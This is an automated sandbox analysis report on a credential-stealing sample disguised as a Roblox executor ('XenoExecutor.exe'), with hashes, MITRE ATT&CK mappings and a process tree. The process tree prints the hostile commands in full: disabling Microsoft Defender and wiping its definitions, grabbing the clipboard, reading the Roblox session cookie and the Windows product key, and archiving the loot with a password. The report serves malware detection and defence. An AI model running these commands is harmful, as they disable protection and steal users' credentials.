c690e541d5759b5ba3221bf0758690518f9646ac3ca8dee09bc6e1fe11d010dc

Analysis

max time kernel
150s
max time network
120s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/07/2026, 17:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Xeno-v1.3.0a/XenoExecutor.exe
Size 10.8MB
Sample260709-vtk64sev3p
SHA256 c690e541d5759b5ba3221bf0758690518f9646ac3ca8dee09bc6e1fe11d010dc
MD5 bb201cb590a8270cecb8beff2ec37539
SHA1 371e2d9e33db7ccdae87d467474e317572b54fda
SHA512 755913d4e327053414483d09c63e55b9a4a2c4ceaad972eb64867d67e15699ac7560bc04bd5337ee1cc2cc70652170d7ae2aae3d8347ce9cfeda262ad5ef3dcc
SSDEEP 196608:CD4qG99PMmxH6OJwVqiqpCJk/ksPgiggbrbBEmRoJEdAm75IvP05yR6HECVPna+5:QBG9dnas/ksY6rbBEmRLdbFIvPY7Hnl5
TLSH
T170B63300BB8518A9EAD2517EEC62C70BFAB278220B61DBDF573C52211E5B5D0073F766
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4728	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
412	powershell.exe
124	powershell.exe
5312	powershell.exe
2852	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
124	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5572	cmd.exe
3424	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4892	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe
1556	XenoExecutor.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
3140	tasklist.exe
2668	tasklist.exe
4756	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral13/files/0x000c00000001c5a1-35.dat	upx
behavioral13/memory/1556-38-0x00007FFFF2490000-0x00007FFFF2B9B000-memory.dmp	upx
behavioral13/files/0x000c00000001c58b-41.dat	upx
behavioral13/memory/1556-44-0x00007FF80EEE0000-0x00007FF80EF09000-memory.dmp	upx
behavioral13/files/0x000c00000001c59c-45.dat	upx
behavioral13/memory/1556-46-0x00007FF80EF50000-0x00007FF80EF5F000-memory.dmp	upx
behavioral13/files/0x000c00000001c58a-47.dat	upx
behavioral13/memory/1556-50-0x00007FF80D2A0000-0x00007FF80D2BA000-memory.dmp	upx
behavioral13/files/0x000c00000001c58f-49.dat	upx
behavioral13/memory/1556-53-0x00007FF80D270000-0x00007FF80D29C000-memory.dmp	upx
behavioral13/files/0x000c00000001c598-52.dat	upx
behavioral13/memory/1556-55-0x00007FF80CE50000-0x00007FF80CED0000-memory.dmp	upx
behavioral13/files/0x000c00000001c592-56.dat	upx
behavioral13/memory/1556-58-0x00007FF80EF40000-0x00007FF80EF4D000-memory.dmp	upx
behavioral13/files/0x000c00000001c597-59.dat	upx
behavioral13/memory/1556-62-0x00007FF80D260000-0x00007FF80D26F000-memory.dmp	upx
behavioral13/files/0x000c00000001c58e-64.dat	upx
behavioral13/memory/1556-67-0x00007FF80CE30000-0x00007FF80CE44000-memory.dmp	upx
behavioral13/files/0x000c00000001c59b-66.dat	upx
behavioral13/memory/1556-69-0x00007FFFF1F50000-0x00007FFFF2481000-memory.dmp	upx
behavioral13/files/0x000c00000001c593-70.dat	upx
behavioral13/files/0x000c00000001c595-72.dat	upx
behavioral13/files/0x000c00000001c59e-74.dat	upx
behavioral13/memory/1556-82-0x00007FF80EEE0000-0x00007FF80EF09000-memory.dmp	upx
behavioral13/memory/1556-81-0x00007FF80CDD0000-0x00007FF80CE04000-memory.dmp	upx
behavioral13/memory/1556-79-0x00007FF80CD00000-0x00007FF80CDCE000-memory.dmp	upx
behavioral13/memory/1556-78-0x00007FF80CE10000-0x00007FF80CE2A000-memory.dmp	upx
behavioral13/memory/1556-77-0x00007FFFF2490000-0x00007FFFF2B9B000-memory.dmp	upx
behavioral13/files/0x000c00000001c594-86.dat	upx
behavioral13/memory/1556-89-0x00007FF809610000-0x00007FF809636000-memory.dmp	upx
behavioral13/files/0x000c00000001c5b2-88.dat	upx
behavioral13/memory/1556-91-0x00007FF809480000-0x00007FF80960A000-memory.dmp	upx
behavioral13/files/0x000c00000001c5a4-92.dat	upx
behavioral13/memory/1556-94-0x00007FF80CCF0000-0x00007FF80CCFD000-memory.dmp	upx
behavioral13/files/0x000c00000001c5b4-95.dat	upx
behavioral13/memory/1556-97-0x00007FF80CE50000-0x00007FF80CED0000-memory.dmp	upx
behavioral13/memory/1556-98-0x00007FF8093C0000-0x00007FF80947E000-memory.dmp	upx
behavioral13/memory/1556-108-0x00007FF80EF40000-0x00007FF80EF4D000-memory.dmp	upx
behavioral13/memory/1556-114-0x00007FF80D260000-0x00007FF80D26F000-memory.dmp	upx
behavioral13/memory/1556-116-0x00007FF80CE30000-0x00007FF80CE44000-memory.dmp	upx
behavioral13/memory/1556-128-0x00007FFFF1F50000-0x00007FFFF2481000-memory.dmp	upx
behavioral13/memory/1556-157-0x00007FF80CD00000-0x00007FF80CDCE000-memory.dmp	upx
behavioral13/memory/1556-165-0x00007FF80CDD0000-0x00007FF80CE04000-memory.dmp	upx
behavioral13/memory/1556-196-0x00007FF809610000-0x00007FF809636000-memory.dmp	upx
behavioral13/memory/1556-179-0x00007FFFF2490000-0x00007FFFF2B9B000-memory.dmp	upx
behavioral13/memory/1556-193-0x00007FF809480000-0x00007FF80960A000-memory.dmp	upx
behavioral13/memory/1556-195-0x00007FF8093C0000-0x00007FF80947E000-memory.dmp	upx
behavioral13/memory/1556-206-0x00007FFFF2490000-0x00007FFFF2B9B000-memory.dmp	upx
behavioral13/memory/1556-247-0x00007FF80D260000-0x00007FF80D26F000-memory.dmp	upx
behavioral13/memory/1556-246-0x00007FF80EF40000-0x00007FF80EF4D000-memory.dmp	upx
behavioral13/memory/1556-241-0x00007FF80EEE0000-0x00007FF80EF09000-memory.dmp	upx
behavioral13/memory/1556-240-0x00007FFFF2490000-0x00007FFFF2B9B000-memory.dmp	upx
behavioral13/memory/1556-251-0x00007FF80CDD0000-0x00007FF80CE04000-memory.dmp	upx
behavioral13/memory/1556-255-0x00007FF80CCF0000-0x00007FF80CCFD000-memory.dmp	upx
behavioral13/memory/1556-254-0x00007FF809480000-0x00007FF80960A000-memory.dmp	upx
behavioral13/memory/1556-256-0x00007FF8093C0000-0x00007FF80947E000-memory.dmp	upx
behavioral13/memory/1556-253-0x00007FF809610000-0x00007FF809636000-memory.dmp	upx
behavioral13/memory/1556-252-0x00007FF80CD00000-0x00007FF80CDCE000-memory.dmp	upx
behavioral13/memory/1556-249-0x00007FFFF1F50000-0x00007FFFF2481000-memory.dmp	upx
behavioral13/memory/1556-250-0x00007FF80CE10000-0x00007FF80CE2A000-memory.dmp	upx
behavioral13/memory/1556-248-0x00007FF80CE30000-0x00007FF80CE44000-memory.dmp	upx
behavioral13/memory/1556-245-0x00007FF80CE50000-0x00007FF80CED0000-memory.dmp	upx
behavioral13/memory/1556-244-0x00007FF80D270000-0x00007FF80D29C000-memory.dmp	upx
behavioral13/memory/1556-243-0x00007FF80D2A0000-0x00007FF80D2BA000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2904	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4400	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
412	powershell.exe
412	powershell.exe
124	powershell.exe
124	powershell.exe
124	powershell.exe
2924	WMIC.exe
2924	WMIC.exe
2924	WMIC.exe
2924	WMIC.exe
3424	powershell.exe
3424	powershell.exe
3424	powershell.exe
5312	powershell.exe
5312	powershell.exe
5312	powershell.exe
3920	powershell.exe
3920	powershell.exe
3920	powershell.exe
1056	WMIC.exe
1056	WMIC.exe
1056	WMIC.exe
1056	WMIC.exe
4416	WMIC.exe
4416	WMIC.exe
4416	WMIC.exe
4416	WMIC.exe
5800	WMIC.exe
5800	WMIC.exe
5800	WMIC.exe
5800	WMIC.exe
2852	powershell.exe
2852	powershell.exe
2904	WMIC.exe
2904	WMIC.exe
2904	WMIC.exe
2904	WMIC.exe
3264	powershell.exe
3264	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	412	powershell.exe
Token: SeDebugPrivilege	124	powershell.exe
Token: SeDebugPrivilege	3140	tasklist.exe
Token: SeDebugPrivilege	2668	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2924	WMIC.exe
Token: SeSecurityPrivilege	2924	WMIC.exe
Token: SeTakeOwnershipPrivilege	2924	WMIC.exe
Token: SeLoadDriverPrivilege	2924	WMIC.exe
Token: SeSystemProfilePrivilege	2924	WMIC.exe
Token: SeSystemtimePrivilege	2924	WMIC.exe
Token: SeProfSingleProcessPrivilege	2924	WMIC.exe
Token: SeIncBasePriorityPrivilege	2924	WMIC.exe
Token: SeCreatePagefilePrivilege	2924	WMIC.exe
Token: SeBackupPrivilege	2924	WMIC.exe
Token: SeRestorePrivilege	2924	WMIC.exe
Token: SeShutdownPrivilege	2924	WMIC.exe
Token: SeDebugPrivilege	2924	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2924	WMIC.exe
Token: SeRemoteShutdownPrivilege	2924	WMIC.exe
Token: SeUndockPrivilege	2924	WMIC.exe
Token: SeManageVolumePrivilege	2924	WMIC.exe
Token: 33	2924	WMIC.exe
Token: 34	2924	WMIC.exe
Token: 35	2924	WMIC.exe
Token: 36	2924	WMIC.exe
Token: SeDebugPrivilege	4756	tasklist.exe
Token: SeDebugPrivilege	3424	powershell.exe
Token: SeIncreaseQuotaPrivilege	2924	WMIC.exe
Token: SeSecurityPrivilege	2924	WMIC.exe
Token: SeTakeOwnershipPrivilege	2924	WMIC.exe
Token: SeLoadDriverPrivilege	2924	WMIC.exe
Token: SeSystemProfilePrivilege	2924	WMIC.exe
Token: SeSystemtimePrivilege	2924	WMIC.exe
Token: SeProfSingleProcessPrivilege	2924	WMIC.exe
Token: SeIncBasePriorityPrivilege	2924	WMIC.exe
Token: SeCreatePagefilePrivilege	2924	WMIC.exe
Token: SeBackupPrivilege	2924	WMIC.exe
Token: SeRestorePrivilege	2924	WMIC.exe
Token: SeShutdownPrivilege	2924	WMIC.exe
Token: SeDebugPrivilege	2924	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2924	WMIC.exe
Token: SeRemoteShutdownPrivilege	2924	WMIC.exe
Token: SeUndockPrivilege	2924	WMIC.exe
Token: SeManageVolumePrivilege	2924	WMIC.exe
Token: 33	2924	WMIC.exe
Token: 34	2924	WMIC.exe
Token: 35	2924	WMIC.exe
Token: 36	2924	WMIC.exe
Token: SeIncreaseQuotaPrivilege	412	powershell.exe
Token: SeSecurityPrivilege	412	powershell.exe
Token: SeTakeOwnershipPrivilege	412	powershell.exe
Token: SeLoadDriverPrivilege	412	powershell.exe
Token: SeSystemProfilePrivilege	412	powershell.exe
Token: SeSystemtimePrivilege	412	powershell.exe
Token: SeProfSingleProcessPrivilege	412	powershell.exe
Token: SeIncBasePriorityPrivilege	412	powershell.exe
Token: SeCreatePagefilePrivilege	412	powershell.exe
Token: SeBackupPrivilege	412	powershell.exe
Token: SeRestorePrivilege	412	powershell.exe
Token: SeShutdownPrivilege	412	powershell.exe
Token: SeDebugPrivilege	412	powershell.exe
Token: SeSystemEnvironmentPrivilege	412	powershell.exe
Token: SeRemoteShutdownPrivilege	412	powershell.exe
Token: SeUndockPrivilege	412	powershell.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 3840 wrote to memory of 1556	3840	XenoExecutor.exe	87
PID 1556 wrote to memory of 5424	1556	XenoExecutor.exe	88
PID 1556 wrote to memory of 972	1556	XenoExecutor.exe	89
PID 972 wrote to memory of 124	972	cmd.exe	92
PID 5424 wrote to memory of 412	5424	cmd.exe	93
PID 1556 wrote to memory of 3100	1556	XenoExecutor.exe	94
PID 1556 wrote to memory of 1884	1556	XenoExecutor.exe	95
PID 1556 wrote to memory of 2832	1556	XenoExecutor.exe	98
PID 1556 wrote to memory of 5572	1556	XenoExecutor.exe	99
PID 1556 wrote to memory of 4276	1556	XenoExecutor.exe	100
PID 1556 wrote to memory of 1420	1556	XenoExecutor.exe	103
PID 3100 wrote to memory of 3140	3100	cmd.exe	105
PID 1556 wrote to memory of 2388	1556	XenoExecutor.exe	107
PID 1884 wrote to memory of 2668	1884	cmd.exe	108
PID 2832 wrote to memory of 2924	2832	cmd.exe	152
PID 4276 wrote to memory of 4756	4276	cmd.exe	111
PID 5572 wrote to memory of 3424	5572	cmd.exe	112
PID 2388 wrote to memory of 4400	2388	cmd.exe	113
PID 1420 wrote to memory of 5300	1420	cmd.exe	115
PID 1556 wrote to memory of 4552	1556	XenoExecutor.exe	116
PID 4552 wrote to memory of 804	4552	cmd.exe	119
PID 1556 wrote to memory of 5632	1556	XenoExecutor.exe	120
PID 5632 wrote to memory of 5280	5632	cmd.exe	122
PID 1556 wrote to memory of 4224	1556	XenoExecutor.exe	123
PID 4224 wrote to memory of 1572	4224	cmd.exe	125
PID 1556 wrote to memory of 1256	1556	XenoExecutor.exe	126
PID 1256 wrote to memory of 4960	1256	cmd.exe	128
PID 1556 wrote to memory of 768	1556	XenoExecutor.exe	129
PID 768 wrote to memory of 2028	768	cmd.exe	131
PID 972 wrote to memory of 4728	972	cmd.exe	132
PID 1556 wrote to memory of 4168	1556	XenoExecutor.exe	133
PID 4168 wrote to memory of 5312	4168	cmd.exe	135
PID 1556 wrote to memory of 5688	1556	XenoExecutor.exe	136
PID 5688 wrote to memory of 2340	5688	cmd.exe	138
PID 1556 wrote to memory of 2964	1556	XenoExecutor.exe	139
PID 2964 wrote to memory of 3920	2964	cmd.exe	141
PID 1556 wrote to memory of 1600	1556	XenoExecutor.exe	142
PID 1600 wrote to memory of 4892	1600	cmd.exe	144
PID 1556 wrote to memory of 5140	1556	XenoExecutor.exe	145
PID 5140 wrote to memory of 1056	5140	cmd.exe	147
PID 1556 wrote to memory of 4460	1556	XenoExecutor.exe	148
PID 4460 wrote to memory of 4416	4460	cmd.exe	150
PID 1556 wrote to memory of 1772	1556	XenoExecutor.exe	151
PID 1772 wrote to memory of 5800	1772	cmd.exe	153
PID 1556 wrote to memory of 2764	1556	XenoExecutor.exe	154
PID 2764 wrote to memory of 2852	2764	cmd.exe	156
PID 1556 wrote to memory of 5788	1556	XenoExecutor.exe	157
PID 5788 wrote to memory of 2904	5788	cmd.exe	159
PID 1556 wrote to memory of 4192	1556	XenoExecutor.exe	160
PID 4192 wrote to memory of 3264	4192	cmd.exe	162

C:\Users\Admin\AppData\Local\Temp\Xeno-v1.3.0a\XenoExecutor.exe
"C:\Users\Admin\AppData\Local\Temp\Xeno-v1.3.0a\XenoExecutor.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3840
- C:\Users\Admin\AppData\Local\Temp\Xeno-v1.3.0a\XenoExecutor.exe
  "C:\Users\Admin\AppData\Local\Temp\Xeno-v1.3.0a\XenoExecutor.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Xeno-v1.3.0a\XenoExecutor.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Xeno-v1.3.0a\XenoExecutor.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:972
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:124
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3100
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1884
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:5572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4276
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2388
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4552
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5632
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1256
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5688
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI38402\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\9zKwi.zip" *"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Users\Admin\AppData\Local\Temp\_MEI38402\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI38402\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\9zKwi.zip" *
      4⤵
      Executes dropped EXE
      PID:4892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5140
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1772
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2924
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5788
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3264

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact